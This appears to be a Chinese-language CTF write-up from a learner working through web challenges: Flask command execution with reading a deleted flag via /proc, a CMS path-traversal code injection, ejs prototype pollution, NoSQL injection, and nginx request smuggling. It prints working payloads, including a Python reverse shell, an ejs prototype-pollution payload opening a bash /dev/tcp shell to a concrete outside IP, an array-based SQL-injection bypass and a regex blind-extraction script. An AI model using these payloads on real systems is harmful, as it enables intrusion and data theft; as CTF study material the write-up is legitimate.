CHECKIN
这道题源码很简单
但是需要反弹shell
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
#flag = flag_file.read()
#flag_file.close()
#@app.route('/flag')
#def flag():
# return flag
## want flag? naive!
#You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1" \
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
进入到shell这个页面会删除flag.txt
get传参 c可以进行命令执行但是没回显
知识点也是linux里面的
在linux里如果打开了一个文件而没有关闭,就算删除了文件(即rm -f flag.txt)在/proc/[pid]/fd下还是会存在,
所以我们还是可以看flag,txt的
这也是为什么会注释掉那些代码的原因
由于命令执行没有回显,我们可以弹shell,这个是python写的
shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
查看/proc/[pid[/fd 里的文件
由于有很多[pid]我们可以直接用*来代替,省的一步一步去找指令
cat /proc/*/fd/*
总结
对于代码是由于没有关闭文件而导致的信息泄露
我们可以在进程中找到
easycms
进去是弱口令
直接登入后台为admin.php
admin/12345
进入后台管理系统
这个在设置->高级
里面可以尝试代码注入
我们试一下
这里要我们创建文件
我们可以在微信设置上
先随便填点击保存
然后编辑的时候把这个原始ID换成路径穿越
这样我们就可以代码注入了
我们漏洞分析一下
跟进 system/template/default/common/header.html.php
,发现保存编辑时调用了 getEffectViewFile
方法
全局搜索一下该方法,跟进 system/module/ui/model.php
里面有个file_exists判断文件是否存在
这个函数可以使用文件或者文件夹绕过,所以此时只需要找一个地方能够创建文件或者文件夹的就能绕过这里从而
写入恶意代码
我们找一下mkdir
总结
这个cms还是挺简单的
没有过多的链子什么的
babycat(未复现)
一道java反序列化的漏洞
这个学完以后再复现吧
easynode
这道题学到很多知识点
nodejs的原型链和ejs模板
首先题目给了源码
onst express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
首先就是login登入
它会检查你的参数,登入成功会给token
当然我们一般就是要登入admin部分
我们先看waf部分,这里过滤了很多
这里是弱比较我们可以用数组绕过
这里的sql语句查询的话,用的substr函数,这个函数只会截取字符串,不会截取数组
如果是数组,这里会报错
上面有个字符串替换的操作
在node.js中,如果进行了 + 运算
则将此变成字符串,数组或者数字或者对象都可以变成对象
所以我们要进入这个if判断中及我们传入的字符串中要有黑名单里面的字符
所以我们的payload
username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=1&username=1&username=1)&password=111
这么多username是因为防止字符太少将闭合符号当成黑名单里面的
然后传入就可以获得admin的token
接下来我们登入成功了有什么用呢
看这个路由这里有个extend方法
这个方法就和merge类似用于合并对象
var object = {
'a': [{ 'b': 2 }, { 'd': 4 }]
};
var other = {
'a': [{ 'c': 3 }, { 'e': 5 }]
};
_.merge(object, other);
// => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
相同对象的属性合并在一起
这里的extend就是
extend({},JSON.parse(addDIV));
如果合并在一起我们就可以利用proto来访问到object类进而进行逃逸命令执行
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}
常用的payload
我们选择最后的反弹shell
总结
这个关于ejs模板的总结
我也学习了相关的知识,熟悉了一下ejs
对于node.js原型链污染和ssti模板注入又加深了理解
hackme
这是一道nosql注入
nosql注入即No only sql注入
不是通过sql语句进行注入的,但是本质上和sql注入差不多
nosql就是非关系型数据库
也有很多种注入的方式
这道题用到两种注入方式就是重言式注入和盲注
其本质还是差不多的
就是利用条件语句使查询语句永远为真
还有其他的注入如联合查询注入和JavaScript注入背负式查询跨域违规
在这些操作符中,$ne就是我们在重言式注入中需要利用到的那个。它的作用是将不等于指定值的数据都查询出
来。比如$ne=1时就是将所有不等于1的数据都查询出来。
下来就是盲注脚本
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
爆破得到密码
后面是nginx的版本漏洞
用到nginx走私
现在来复现一下这个
通过F12已经知道了是nosql注入
抓个包
我们先尝试一下永真式注入
{"username":{"$ne":1},"password": {"$ne":1}}
发现有过滤
我们用unicode编码绕过一下
{"msg":"登录了,但没完全登录"} // 真
{"msg":"登录失败"} // 假
盲注脚本爆破密码
得到密码
42276606202db06ad1f29ab6b4a1307f
登入进去之后发现可以文件读取
读取flag试试
打内网
没有ssrf怎么打内网呢
根据提示说看看sever配置文件
看看nginx
版本为1.17.6
百度一下看看有什么漏洞
一个cve
看一下nginx的配置文件/usr/local/nginx/conf/nginx.conf
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ \.php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
}
就是一个请求走私
大概了解了一下就是前端与后端的对于请求的格式有些不太一样
导致的http走私
https://www.freebuf.com/articles/web/243652.html
但是我不知道为什么一直复现不出来
下一个也是一个cve版本漏洞
总结
学习了一下nosql注入
学习了http请求走私